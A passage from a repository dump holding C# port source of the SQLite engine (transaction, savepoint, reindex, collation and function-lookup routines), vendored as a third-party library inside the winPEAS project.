sqlite3GetVdbe( pParse );\n      if ( v != null )\n      {\n        sqlite3VdbeAddOp2( v, OP_AutoCommit, 1, 0 );\n      }\n    }\n\n    /*\n    ** Rollback a transaction\n    */\n    static void sqlite3RollbackTransaction( Parse pParse )\n    {\n      sqlite3 db;\n      Vdbe v;\n\n      Debug.Assert( pParse != null );\n      db = pParse.db;\n      Debug.Assert( db != null );\n      /*  if( db.aDb[0].pBt==0 ) return; */\n      if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, \"ROLLBACK\", null, null ) != 0 )\n      {\n        return;\n      }\n      v = sqlite3GetVdbe( pParse );\n      if ( v != null )\n      {\n        sqlite3VdbeAddOp2( v, OP_AutoCommit, 1, 1 );\n      }\n    }\n\n    /*\n    ** This function is called by the parser when it parses a command to create,\n    ** release or rollback an SQL savepoint.\n    */\n    static void sqlite3Savepoint( Parse pParse, int op, Token pName )\n    {\n      string zName = sqlite3NameFromToken( pParse.db, pName );\n      if ( zName != null )\n      {\n        Vdbe v = sqlite3GetVdbe( pParse );\n#if !SQLITE_OMIT_AUTHORIZATION\nbyte az[] = { \"BEGIN\", \"RELEASE\", \"ROLLBACK\" };\nDebug.Assert( !SAVEPOINT_BEGIN && SAVEPOINT_RELEASE==1 && SAVEPOINT_ROLLBACK==2 );\n#endif\n        if ( null == v\n#if !SQLITE_OMIT_AUTHORIZATION\n|| sqlite3AuthCheck(pParse, SQLITE_SAVEPOINT, az[op], zName, 0)\n#endif\n )\n        {\n          //sqlite3DbFree( pParse.db, zName );\n          return;\n        }\n        sqlite3VdbeAddOp4( v, OP_Savepoint, op, 0, 0, zName, P4_DYNAMIC );\n      }\n    }\n\n    /*\n    ** Make sure the TEMP database is open and available for use.  Return\n    ** the number of errors.  Leave any error messages in the pParse structure.\n    */\n    static int sqlite3OpenTempDatabase( Parse pParse )\n    {\n      sqlite3 db = pParse.db;\n      if ( db.aDb[1].pBt == null && pParse.explain == 0 )\n      {\n        int rc;\n        const int flags =\n        SQLITE_OPEN_READWRITE |\n        SQLITE_OPEN_CREATE |\n        SQLITE_OPEN_EXCLUSIVE |\n        SQLITE_OPEN_DELETEONCLOSE |\n        SQLITE_OPEN_TEMP_DB;\n\n        rc = sqlite3BtreeFactory( db, null, false, SQLITE_DEFAULT_CACHE_SIZE, flags,\n        ref db.aDb[1].pBt );\n        if ( rc != SQLITE_OK )\n        {\n          sqlite3ErrorMsg( pParse, \"unable to open a temporary database \" +\n          \"file for storing temporary tables\" );\n          pParse.rc = rc;\n          return 1;\n        }\n        Debug.Assert( ( db.flags & SQLITE_InTrans ) == 0 || db.autoCommit != 0 );\n        Debug.Assert( db.aDb[1].pSchema != null );\n        sqlite3PagerJournalMode( sqlite3BtreePager( db.aDb[1].pBt ),\n        db.dfltJournalMode );\n      }\n      return 0;\n    }\n\n    /*\n    ** Generate VDBE code that will verify the schema cookie and start\n    ** a read-transaction for all named database files.\n    **\n    ** It is important that all schema cookies be verified and all\n    ** read transactions be started before anything else happens in\n    ** the VDBE program.  But this routine can be called after much other\n    ** code has been generated.  So here is what we do:\n    **\n    ** The first time this routine is called, we code an OP_Goto that\n    ** will jump to a subroutine at the end of the program.  Then we\n    ** record every database that needs its schema verified in the\n    ** pParse.cookieMask field.  Later, after all other code has been\n    ** generated, the subroutine that does the cookie verifications and\n    ** starts the transactions will be coded and the OP_Goto P2 value\n    ** will be made to point to that subroutine.  The generation of the\n    ** cookie verification subroutine code happens in sqlite3FinishCoding().\n    **\n    ** If iDb<0 then code the OP_Goto only - don't set flag to verify the\n    ** schema on any databases.  This can be used to position the OP_Goto\n    ** early in the code, before we know if any database tables will be used.\n    */\n    static void sqlite3CodeVerifySchema( Parse pParse, int iDb )\n    {\n      sqlite3 db;\n      Vdbe v;\n      u32 mask;\n\n      v = sqlite3GetVdbe( pParse );\n      if ( v == null ) return;  /* This only happens if there was a prior error */\n      db = pParse.db;\n      if ( pParse.cookieGoto == 0 )\n      {\n        pParse.cookieGoto = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 ) + 1;\n      }\n      if ( iDb >= 0 )\n      {\n        Debug.Assert( iDb < db.nDb );\n        Debug.Assert( db.aDb[iDb].pBt != null || iDb == 1 );\n        Debug.Assert( iDb < SQLITE_MAX_ATTACHED + 2 );\n        mask = (u32)( 1 << iDb );\n        if ( ( pParse.cookieMask & mask ) == 0 )\n        {\n          pParse.cookieMask |= mask;\n          pParse.cookieValue[iDb] = db.aDb[iDb].pSchema.schema_cookie;\n          if ( OMIT_TEMPDB == 0 && iDb == 1 )\n          {\n            sqlite3OpenTempDatabase( pParse );\n          }\n        }\n      }\n    }\n\n    /*\n    ** Generate VDBE code that prepares for doing an operation that\n    ** might change the database.\n    **\n    ** This routine starts a new transaction if we are not already within\n    ** a transaction.  If we are already within a transaction, then a checkpoint\n    ** is set if the setStatement parameter is true.  A checkpoint should\n    ** be set for operations that might fail (due to a constraint) part of\n    ** the way through and which will need to undo some writes without having to\n    ** rollback the whole transaction.  For operations where all constraints\n    ** can be checked before any changes are made to the database, it is never\n    ** necessary to undo a write and the checkpoint should not be set.\n    */\n    static void sqlite3BeginWriteOperation( Parse pParse, int setStatement, int iDb )\n    {\n      sqlite3CodeVerifySchema( pParse, iDb );\n      pParse.writeMask |= (u32)( 1 << iDb );\n      if ( setStatement != 0 && pParse.nested == 0 )\n      {\n        /* Every place where this routine is called with setStatement!=0 has\n        ** already successfully created a VDBE. */\n        Debug.Assert( pParse.pVdbe != null );\n        sqlite3VdbeAddOp1( pParse.pVdbe, OP_Statement, iDb );\n      }\n    }\n\n    /*\n    ** Check to see if pIndex uses the collating sequence pColl.  Return\n    ** true if it does and false if it does not.\n    */\n#if !SQLITE_OMIT_REINDEX\n    static bool collationMatch( string zColl, Index pIndex )\n    {\n      int i;\n      Debug.Assert( zColl != null );\n      for ( i = 0 ; i < pIndex.nColumn ; i++ )\n      {\n        string z = pIndex.azColl[i];\n        Debug.Assert( z != null );\n        if ( 0 == sqlite3StrICmp( z, zColl ) )\n        {\n          return true;\n        }\n      }\n      return false;\n    }\n#endif\n\n    /*\n** Recompute all indices of pTab that use the collating sequence pColl.\n** If pColl == null then recompute all indices of pTab.\n*/\n#if !SQLITE_OMIT_REINDEX\n    static void reindexTable( Parse pParse, Table pTab, string zColl )\n    {\n      Index pIndex;              /* An index associated with pTab */\n\n      for ( pIndex = pTab.pIndex ; pIndex != null ; pIndex = pIndex.pNext )\n      {\n        if ( zColl == null || collationMatch( zColl, pIndex ) )\n        {\n          int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema );\n          sqlite3BeginWriteOperation( pParse, 0, iDb );\n          sqlite3RefillIndex( pParse, pIndex, -1 );\n        }\n      }\n    }\n#endif\n\n    /*\n** Recompute all indices of all tables in all databases where the\n** indices use the collating sequence pColl.  If pColl == null then recompute\n** all indices everywhere.\n*/\n#if !SQLITE_OMIT_REINDEX\n    static void reindexDatabases( Parse pParse, string zColl )\n    {\n      Db pDb;                    /* A single database */\n      int iDb;                   /* The database index number */\n      sqlite3 db = pParse.db;    /* The database connection */\n      HashElem k;                /* For looping over tables in pDb */\n      Table pTab;                /* A table in the database */\n\n      for ( iDb = 0 ; iDb < db.nDb ; iDb++ )//, pDb++ )\n      {\n        pDb = db.aDb[iDb];\n        Debug.Assert( pDb != null );\n        for ( k = pDb.pSchema.tblHash.first ; k != null ; k = k.next ) //for ( k = sqliteHashFirst( pDb.pSchema.tblHash ) ; k != null ; k = sqliteHashNext( k ) )\n        {\n          pTab = (Table)k.data;// sqliteHashData( k );\n          reindexTable( pParse, pTab, zColl );\n        }\n      }\n    }\n#endif\n\n    /*\n** Generate code for the REINDEX command.\n**\n**        REINDEX                            -- 1\n**        REINDEX  <collation>               -- 2\n**        REINDEX  ?<database>.?<tablename>  -- 3\n**        REINDEX  ?<database>.?<indexname>  -- 4\n**\n** Form 1 causes all indices in all attached databases to be rebuilt.\n** Form 2 rebuilds all indices in all databases that use the named\n** collating function.  Forms 3 and 4 rebuild the named index or all\n** indices associated with the named table.\n*/\n#if !SQLITE_OMIT_REINDEX\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static void sqlite3Reindex( Parse pParse, int null_2, int null_3 )\n    { sqlite3Reindex( pParse, null, null ); }\n    static void sqlite3Reindex( Parse pParse, Token pName1, Token pName2 )\n    {\n      CollSeq pColl;                /* Collating sequence to be reindexed, or NULL */\n      string z;                     /* Name of a table or index */\n      string zDb;                   /* Name of the database */\n      Table pTab;                   /* A table in the database */\n      Index pIndex;                 /* An index associated with pTab */\n      int iDb;                      /* The database index number */\n      sqlite3 db = pParse.db;       /* The database connection */\n      Token pObjName = new Token();  /* Name of the table or index to be reindexed */\n\n      /* Read the database schema. If an error occurs, leave an error message\n      ** and code in pParse and return NULL. */\n      if ( SQLITE_OK != sqlite3ReadSchema( pParse ) )\n      {\n        return;\n      }\n\n      if ( pName1 == null )\n      {\n        reindexDatabases( pParse, null );\n        return;\n      }\n      else if ( NEVER( pName2 == null ) || pName2.z == null || pName2.z.Length == 0 )\n      {\n        string zColl;\n        Debug.Assert( pName1.z != null );\n        zColl = sqlite3NameFromToken( pParse.db, pName1 );\n        if ( zColl == null ) return;\n        pColl = sqlite3FindCollSeq( db, ENC( db ), zColl, 0 );\n        if ( pColl != null )\n        {\n          reindexDatabases( pParse, zColl );\n          //sqlite3DbFree( db, ref zColl );\n          return;\n        }\n        //sqlite3DbFree( db, ref zColl );\n      }\n      iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pObjName );\n      if ( iDb < 0 ) return;\n      z = sqlite3NameFromToken( db, pObjName );\n      if ( z == null ) return;\n      zDb = db.aDb[iDb].zName;\n      pTab = sqlite3FindTable( db, z, zDb );\n      if ( pTab != null )\n      {\n        reindexTable( pParse, pTab, null );\n        //sqlite3DbFree( db, ref z );\n        return;\n      }\n      pIndex = sqlite3FindIndex( db, z, zDb );\n      //sqlite3DbFree( db, ref z );\n      if ( pIndex != null )\n      {\n        sqlite3BeginWriteOperation( pParse, 0, iDb );\n        sqlite3RefillIndex( pParse, pIndex, -1 );\n        return;\n      }\n      sqlite3ErrorMsg( pParse, \"unable to identify the object to be reindexed\" );\n    }\n#endif\n\n    /*\n** Return a dynamicly allocated KeyInfo structure that can be used\n** with OP_OpenRead or OP_OpenWrite to access database index pIdx.\n**\n** If successful, a pointer to the new structure is returned. In this case\n** the caller is responsible for calling //sqlite3DbFree(db, ) on the returned\n** pointer. If an error occurs (out of memory or missing collation\n** sequence), NULL is returned and the state of pParse updated to reflect\n** the error.\n*/\n    static KeyInfo sqlite3IndexKeyinfo( Parse pParse, Index pIdx )\n    {\n      int i;\n      int nCol = pIdx.nColumn;\n      //int nBytes = KeyInfo.Length + (nCol - 1) * CollSeq*.Length + nCol;\n      sqlite3 db = pParse.db;\n      KeyInfo pKey = new KeyInfo();// (KeyInfo*)sqlite3DbMallocZero(db, nBytes);\n\n      if ( pKey != null )\n      {\n        pKey.db = pParse.db;\n        pKey.aSortOrder = new byte[nCol];\n        pKey.aColl = new CollSeq[nCol];// (u8*)&(pKey.aColl[nCol]);\n        //        Debug.Assert(pKey.aSortOrder[nCol] == &(((u8*)pKey)[nBytes]));\n        for ( i = 0 ; i < nCol ; i++ )\n        {\n          string zColl = pIdx.azColl[i];\n          Debug.Assert( zColl != null );\n          pKey.aColl[i] = sqlite3LocateCollSeq( pParse, zColl );\n          pKey.aSortOrder[i] = pIdx.aSortOrder[i];\n        }\n        pKey.nField = (u16)nCol;\n      }\n\n      if ( pParse.nErr != 0 )\n      {\n        pKey = null;//sqlite3DbFree( db, ref pKey );\n      }\n      return pKey;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/callback_c.cs",
    "content": "using System.Diagnostics;\nusing i16 = System.Int16;\nusing u8 = System.Byte;\nusing u16 = System.UInt16;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n    public partial class CSSQLite\n  {\n    /*\n    ** 2005 May 23\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains functions used to access the internal hash tables\n    ** of user defined functions and collation sequences.\n    **\n    ** $Id: callback.c,v 1.42 2009/06/17 00:35:31 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n    //#include \"sqliteInt.h\"\n\n    /*\n    ** Invoke the 'collation needed' callback to request a collation sequence\n    ** in the database text encoding of name zName, length nName.\n    ** If the collation sequence\n    */\n    static void callCollNeeded( sqlite3 db, string zName )\n    {\n      Debug.Assert( db.xCollNeeded == null || db.xCollNeeded16 == null );\n      if ( db.xCollNeeded != null )\n      {\n        string zExternal = zName;// sqlite3DbStrDup(db, zName);\n        if ( zExternal == null ) return;\n        db.xCollNeeded( db.pCollNeededArg, db, db.aDb[0].pSchema.enc, zExternal );//(int)ENC(db), zExternal);\n        //sqlite3DbFree( db, ref  zExternal );\n      }\n#if !SQLITE_OMIT_UTF16\nif( db.xCollNeeded16!=null ){\nstring zExternal;\nsqlite3_value pTmp = sqlite3ValueNew(db);\nsqlite3ValueSetStr(pTmp, -1, zName, SQLITE_UTF8, SQLITE_STATIC);\nzExternal = sqlite3ValueText(pTmp, SQLITE_UTF16NATIVE);\nif( zExternal!=\"\" ){\ndb.xCollNeeded16( db.pCollNeededArg, db, db.aDbStatic[0].pSchema.enc, zExternal );//(int)ENC(db), zExternal);\n}\nsqlite3ValueFree(ref pTmp);\n}\n#endif\n    }\n\n    /*\n    ** This routine is called if the collation factory fails to deliver a\n    ** collation function in the best encoding but there may be other versions\n    ** of this collation function (for other text encodings) available. Use one\n    ** of these instead if they exist. Avoid a UTF-8 <. UTF-16 conversion if\n    ** possible.\n    */\n    static int synthCollSeq( sqlite3 db, CollSeq pColl )\n    {\n      CollSeq pColl2;\n      string z = pColl.zName;\n      int i;\n      byte[] aEnc = { SQLITE_UTF16BE, SQLITE_UTF16LE, SQLITE_UTF8 };\n      for ( i = 0 ; i < 3 ; i++ )\n      {\n        pColl2 = sqlite3FindCollSeq( db, aEnc[i], z, 0 );\n        if ( pColl2.xCmp != null )\n        {\n          pColl = pColl2.Copy(); //memcpy(pColl, pColl2, sizeof(CollSeq));\n          pColl.xDel = null;         /* Do not copy the destructor */\n          return SQLITE_OK;\n        }\n      }\n      return SQLITE_ERROR;\n    }\n\n    /*\n    ** This function is responsible for invoking the collation factory callback\n    ** or substituting a collation sequence of a different encoding when the\n    ** requested collation sequence is not available in the database native\n    ** encoding.\n    **\n    ** If it is not NULL, then pColl must point to the database native encoding\n    ** collation sequence with name zName, length nName.\n    **\n    ** The return value is either the collation sequence to be used in database\n    ** db for collation type name zName, length nName, or NULL, if no collation\n    ** sequence can be found.\n    **\n    ** See also: sqlite3LocateCollSeq(), sqlite3FindCollSeq()\n    */\n    static CollSeq sqlite3GetCollSeq(\n    sqlite3 db,         /* The database connection */\n    CollSeq pColl,      /* Collating sequence with native encoding, or NULL */\n    string zName        /* Collating sequence name */\n    )\n    {\n      CollSeq p;\n\n      p = pColl;\n      if ( p == null )\n      {\n        p = sqlite3FindCollSeq( db, ENC( db ), zName, 0 );\n      }\n      if ( p == null || p.xCmp == null )\n      {\n        /* No collation sequence of this type for this encoding is registered.\n        ** Call the collation factory to see if it can supply us with one.\n        */\n        callCollNeeded( db, zName );\n        p = sqlite3FindCollSeq( db, ENC( db ), zName, 0 );\n      }\n      if ( p != null && p.xCmp == null && synthCollSeq( db, p ) != 0 )\n      {\n        p = null;\n      }\n      Debug.Assert( p == null || p.xCmp != null );\n      return p;\n    }\n\n    /*\n    ** This routine is called on a collation sequence before it is used to\n    ** check that it is defined. An undefined collation sequence exists when\n    ** a database is loaded that contains references to collation sequences\n    ** that have not been defined by sqlite3_create_collation() etc.\n    **\n    ** If required, this routine calls the 'collation needed' callback to\n    ** request a definition of the collating sequence. If this doesn't work,\n    ** an equivalent collating sequence that uses a text encoding different\n    ** from the main database is substituted, if one is available.\n    */\n    static int sqlite3CheckCollSeq( Parse pParse, CollSeq pColl )\n    {\n      if ( pColl != null )\n      {\n        string zName = pColl.zName;\n        CollSeq p = sqlite3GetCollSeq( pParse.db, pColl, zName );\n        if ( null == p )\n        {\n          sqlite3ErrorMsg( pParse, \"no such collation sequence: %s\", zName );\n          pParse.nErr++;\n          return SQLITE_ERROR;\n        }\n//\n        //Debug.Assert(p == pColl);\n        if (p != pColl) // Had to lookup appropriate sequence\n        {\n          pColl.enc = p.enc;\n          pColl.pUser= p.pUser;\n          pColl.type = p.type;\n          pColl.xCmp = p.xCmp;\n          pColl.xDel = p.xDel;\n        } \n\n      }\n      return SQLITE_OK;\n    }\n\n\n\n    /*\n    ** Locate and return an entry from the db.aCollSeq hash table. If the entry\n    ** specified by zName and nName is not found and parameter 'create' is\n    ** true, then create a new entry. Otherwise return NULL.\n    **\n    ** Each pointer stored in the sqlite3.aCollSeq hash table contains an\n    ** array of three CollSeq structures. The first is the collation sequence\n    ** prefferred for UTF-8, the second UTF-16le, and the third UTF-16be.\n    **\n    ** Stored immediately after the three collation sequences is a copy of\n    ** the collation sequence name. A pointer to this string is stored in\n    ** each collation sequence structure.\n    */\n    static CollSeq[] findCollSeqEntry(\n    sqlite3 db,         /* Database connection */\n    string zName,       /* Name of the collating sequence */\n    int create          /* Create a new entry if true */\n    )\n    {\n      CollSeq[] pColl;\n      int nName = sqlite3Strlen30( zName );\n      pColl = (CollSeq[])sqlite3HashFind( db.aCollSeq, zName, nName );\n\n      if ( ( null == pColl ) && create != 0 )\n      {\n        pColl = new CollSeq[3]; //sqlite3DbMallocZero(db, 3*sizeof(*pColl) + nName + 1 );\n        if ( pColl != null )\n        {\n          CollSeq pDel = null;\n          pColl[0] = new CollSeq();\n          pColl[0].zName = zName;\n          pColl[0].enc = SQLITE_UTF8;\n          pColl[1] = new CollSeq();\n          pColl[1].zName = zName;\n          pColl[1].enc = SQLITE_UTF16LE;\n          pColl[2] = new CollSeq();\n          pColl[2].zName = zName;\n          pColl[2].enc = SQLITE_UTF16BE;\n          //memcpy(pColl[0].zName, zName, nName);\n          //pColl[0].zName[nName] = 0;\n          pDel = (CollSeq)sqlite3HashInsert( ref db.aCollSeq, pColl[0].zName, nName, pColl );\n\n          /* If a malloc() failure occurred in sqlite3HashInsert(), it will\n          ** return the pColl pointer to be deleted (because it wasn't added\n          ** to the hash table).\n          */\n          Debug.Assert( pDel == null || pDel == pColl[0] );\n          if ( pDel != null )\n          {\n    ////        db.mallocFailed = 1;\n            pDel = null; //was  //sqlite3DbFree(db,ref  pDel);\n            pColl = null;\n          }\n        }\n      }\n      return pColl;\n    }\n\n    /*\n    ** Parameter zName points to a UTF-8 encoded string nName bytes long.\n    ** Return the CollSeq* pointer for the collation sequence named zName\n    ** for the encoding 'enc' from the database 'db'.\n    **\n    ** If the entry specified is not found and 'create' is true, then create a\n    ** new entry.  Otherwise return NULL.\n    **\n    ** A separate function sqlite3LocateCollSeq() is a wrapper around\n    ** this routine.  sqlite3LocateCollSeq() invokes the collation factory\n    ** if necessary and generates an error message if the collating sequence\n    ** cannot be found.\n    **\n    ** See also: sqlite3LocateCollSeq(), sqlite3GetCollSeq()\n    */\n    static CollSeq sqlite3FindCollSeq(\n    sqlite3 db,\n    u8 enc,\n    string zName,\n    u8 create\n    )\n    {\n      CollSeq[] pColl;\n      if ( zName != null )\n      {\n        pColl = findCollSeqEntry( db, zName, create );\n      }\n      else\n      {\n        pColl = new CollSeq[enc];\n        pColl[enc - 1] = db.pDfltColl;\n      }\n      Debug.Assert( SQLITE_UTF8 == 1 && SQLITE_UTF16LE == 2 && SQLITE_UTF16BE == 3 );\n      Debug.Assert( enc >= SQLITE_UTF8 && enc <= SQLITE_UTF16BE );\n      if ( pColl != null )\n      {\n        enc -= 1; // if (pColl != null) pColl += enc - 1;\n        return pColl[enc];\n      }\n      else return null;\n    }\n\n    /* During the search for the best function definition, this procedure\n    ** is called to test how well the function passed as the first argument\n    ** matches the request for a function with nArg arguments in a system\n    ** that uses encoding enc. The value returned indicates how well the\n    ** request is matched. A higher value indicates a better match.\n    **\n    ** The returned value is always between 0 and 6, as follows:\n    **\n    ** 0: Not a match, or if nArg<0 and the function is has no implementation.\n    ** 1: A variable arguments function that prefers UTF-8 when a UTF-16\n    **    encoding is requested, or vice versa.\n    ** 2: A variable arguments function that uses UTF-16BE when UTF-16LE is\n    **    requested, or vice versa.\n    ** 3: A variable arguments function using the same text encoding.\n    ** 4: A function with the exact number of arguments requested that\n    **    prefers UTF-8 when a UTF-16 encoding is requested, or vice versa.\n    ** 5: A function with the exact number of arguments requested that\n    **    prefers UTF-16LE when UTF-16BE is requested, or vice versa.\n    ** 6: An exact match.\n    **\n    */\n    static int matchQuality( FuncDef p, int nArg, int enc )\n    {\n      int match = 0;\n      if ( p.nArg == -1 || p.nArg == nArg\n      || ( nArg == -1 && ( p.xFunc != null || p.xStep != null ) )\n      )\n      {\n        match = 1;\n        if ( p.nArg == nArg || nArg == -1 )\n        {\n          match = 4;\n        }\n        if ( enc == p.iPrefEnc )\n        {\n          match += 2;\n        }\n        else if ( ( enc == SQLITE_UTF16LE && p.iPrefEnc == SQLITE_UTF16BE ) ||\n        ( enc == SQLITE_UTF16BE && p.iPrefEnc == SQLITE_UTF16LE ) )\n        {\n          match += 1;\n        }\n      }\n      return match;\n    }\n\n    /*\n    ** Search a FuncDefHash for a function with the given name.  Return\n    ** a pointer to the matching FuncDef if found, or 0 if there is no match.\n    */\n    static FuncDef functionSearch(\n    FuncDefHash pHash,  /* Hash table to search */\n    int h,              /* Hash of the name */\n    string zFunc,       /* Name of function */\n    int nFunc           /* Number of bytes in zFunc */\n    )\n    {\n      FuncDef p;\n      for ( p = pHash.a[h] ; p != null ; p = p.pHash )\n      {\n        if ( sqlite3StrNICmp( p.zName, zFunc, nFunc ) == 0 && p.zName.Length == nFunc )\n        {\n          return p;\n        }\n      }\n      return null;\n    }\n\n    /*\n    ** Insert a new FuncDef into a FuncDefHash hash table.\n    */\n    static void sqlite3FuncDefInsert(\n    FuncDefHash pHash,  /* The hash table into which to insert */\n    FuncDef pDef        /* The function definition to insert */\n    )\n    {\n      FuncDef pOther;\n      int nName = sqlite3Strlen30( pDef.zName );\n      u8 c1 = (u8)pDef.zName[0];\n      int h = ( sqlite3UpperToLower[c1] + nName ) % ArraySize( pHash.a );\n      pOther = functionSearch( pHash, h, pDef.zName, nName );\n      if ( pOther != null )\n      {\n        Debug.Assert( pOther != pDef && pOther.pNext != pDef );\n        pDef.pNext = pOther.pNext;\n        pOther.pNext = pDef;\n      }\n      else\n      {\n        pDef.pNext = null;\n        pDef.pHash = pHash.a[h];\n        pHash.a[h] = pDef;\n      }\n    }\n\n    /*\n    ** Locate a user function given a name, a number of arguments and a flag\n    ** indicating whether the function prefers UTF-16 over UTF-8.  Return a\n    ** pointer to the FuncDef structure that defines that function, or return\n    ** NULL if the function does not exist.\n    **\n    ** If the createFlag argument is true, then a new (blank) FuncDef\n    ** structure is created and liked into the \"db\" structure if a\n    ** no matching function previously existed.  When createFlag is true\n    ** and the nArg parameter is -1, then only a function that accepts\n    ** any number of arguments will be returned.\n    **\n    ** If createFlag is false and nArg is -1, then the first valid\n    ** function found is returned.  A function is valid if either xFunc\n    ** or xStep is non-zero.\n    **\n    ** If createFlag is false, then a function with the required name and\n    ** number of arguments may be returned even if the eTextRep flag does not\n    ** match that requested.\n    */\n\n    static FuncDef sqlite3FindFunction(\n    sqlite3 db,           /* An open database */\n    string zName,         /* Name of the function.  Not null-terminated */\n    int nName,            /* Number of characters in the name */\n    int nArg,             /* Number of arguments.  -1 means any number */\n    u8 enc,              /* Preferred text encoding */\n    u8 createFlag       /* Create new entry if true and does not otherwise exist */\n    )\n    {\n      FuncDef p;            /* Iterator variable */\n      FuncDef pBest = null; /* Best match found so far */\n      int bestScore = 0;\n      int h;              /* Hash value */\n\n      Debug.Assert( enc == SQLITE_UTF8 || enc == SQLITE_UTF16LE || enc == SQLITE_UTF16BE );\n      h = ( sqlite3UpperToLower[(u8)zName[0]] + nName ) % ArraySize( db.aFunc.a );\n\n\n      /* First search for a match amongst the application-defined functions.\n      */\n      p = functionSearch( db.aFunc, h, zName, nName );\n      while ( p != null )\n      {\n        int score = matchQuality( p, nArg, enc );\n        if ( score > bestScore )\n        {\n          pBest = p;\n          bestScore = score;\n\n        }\n        p = p.pNext;\n      }\n\n\n      /* If no match is found, search the built-in functions.\n      **\n      ** Except, if createFlag is true, that means that we are trying to\n      ** install a new function.  Whatever FuncDef structure is returned will\n      ** have fields overwritten with new information appropriate for the\n      ** new function.  But the FuncDefs for built-in functions are read-only.\n      ** So we must not search for built-ins when creating a new function.\n      */\n      if ( 0 == createFlag && pBest == null )\n      {\n#if SQLITE_OMIT_WSD\nFuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions );\n#else\n        FuncDefHash pHash = sqlite3GlobalFunctions;\n#endif\n        p = functionSearch( pHash, h, zName, nName );\n        while ( p != null )\n        {\n          int score = matchQuality( p, nArg, enc );\n          if ( score > bestScore )\n          {\n            pBest = p;\n            bestScore = score;\n          }\n          p = p.pNext;\n        }\n      }\n\n      /* If the createFlag parameter is true and the search did not reveal an\n      ** exact match for the name, number of arguments and encoding, then add a\n      ** new entry to the hash table and return it.\n      */\n      if ( createFlag != 0 && ( bestScore < 6 || pBest.nArg != nArg ) &&\n      ( pBest = new FuncDef() ) != null )\n      { //sqlite3DbMallocZero(db, sizeof(*pBest)+nName+1))!=0 ){\n        //pBest.zName = (char *)&pBest[1];\n        pBest.nArg = (i16)nArg;\n        pBest.iPrefEnc = enc;\n        pBest.zName = zName; //memcpy(pBest.zName, zName, nName);\n        //pBest.zName[nName] = 0;\n        sqlite3FuncDefInsert( db.aFunc, pBest );\n      }\n\n      if ( pBest != null && ( pBest.xStep != null || pBest.xFunc != null || createFlag != 0 ) )\n      {\n        return pBest;\n      }\n      return null;\n    }\n\n    /*\n    ** Free all resources held by the schema structure. The void* argument points\n    ** at a Schema struct. This function does not call //sqlite3DbFree(db, ) on the\n    ** pointer itself, it just cleans up subsiduary resources (i.e. the contents\n    ** of the schema hash tables).\n    **\n    ** The Schema.cache_size variable is not cleared.\n    */\n    static void sqlite3SchemaFree( Schema p )\n    {\n      Hash temp1;\n      Hash temp2;\n      HashElem pElem;\n      Schema pSchema = p;\n\n      temp1 = pSchema.tblHash;\n      temp2 = pSchema.trigHash;\n      sqlite3HashInit( pSchema.trigHash );\n      sqlite3HashClear( pSchema.idxHash );\n      for ( pElem = sqliteHashFirst( temp2 ) ; pElem != null ; pElem = sqliteHashNext( pElem ) )\n      {\n        Trigger pTrigger = (Trigger)sqliteHashData( pElem );\n        sqlite3DeleteTrigger( null, ref pTrigger );\n      }\n      sqlite3HashClear( temp2 );\n      sqlite3HashInit( pSchema.trigHash );\n      for ( pElem = temp1.first ; pElem != null ; pElem = pElem.next )//sqliteHashFirst(&temp1); pElem; pElem = sqliteHashNext(pElem))\n      {\n        Table pTab = (Table)pElem.data; //sqliteHashData(pElem);\n        Debug.Assert( pTab.dbMem == null );\n        sqlite3DeleteTable( ref pTab );\n      }\n      sqlite3HashClear( temp1 );\n      pSchema.pSeqTab = null;\n      pSchema.flags = (u16)( pSchema.flags & ~DB_SchemaLoaded );\n    }\n\n    /*\n    ** Find and return the schema associated with a BTree.  Create\n    ** a new one if necessary.\n    */\n    static Schema sqlite3SchemaGet( sqlite3 db, Btree pBt )\n    {\n      Schema p;\n      if ( pBt != null )\n      {\n        p = sqlite3BtreeSchema( pBt, -1, (dxFreeSchema)sqlite3SchemaFree );//Schema.Length, sqlite3SchemaFree);\n      }\n      else\n      {\n        p = new Schema(); // (Schema*)sqlite3MallocZero(Schema).Length;\n      }\n      if ( p == null )\n      {\n////        db.mallocFailed = 1;\n      }\n      else if ( 0 == p.file_format )\n      {\n        sqlite3HashInit( p.tblHash );\n        sqlite3HashInit( p.idxHash );\n        sqlite3HashInit( p.trigHash );\n        p.enc = SQLITE_UTF8;\n      }\n      return p;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/complete_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n\n  using u8 = System.Byte;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** An tokenizer for SQL\n    **\n    ** This file contains C code that implements the sqlite3_complete() API.\n    ** This code used to be part of the tokenizer.c source file.  But by\n    ** separating it out, the code will be automatically omitted from\n    ** static links that do not use it.\n    **\n    ** $Id: complete.c,v 1.8 2009/04/28 04:46:42 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n#if !SQLITE_OMIT_COMPLETE\n\n    /*\n** This is defined in tokenize.c.  We just have to import the definition.\n*/\n#if !SQLITE_AMALGAMATION\n#if  SQLITE_ASCII\n    //extern const char sqlite3IsAsciiIdChar[];\n    //#define IdChar(C)  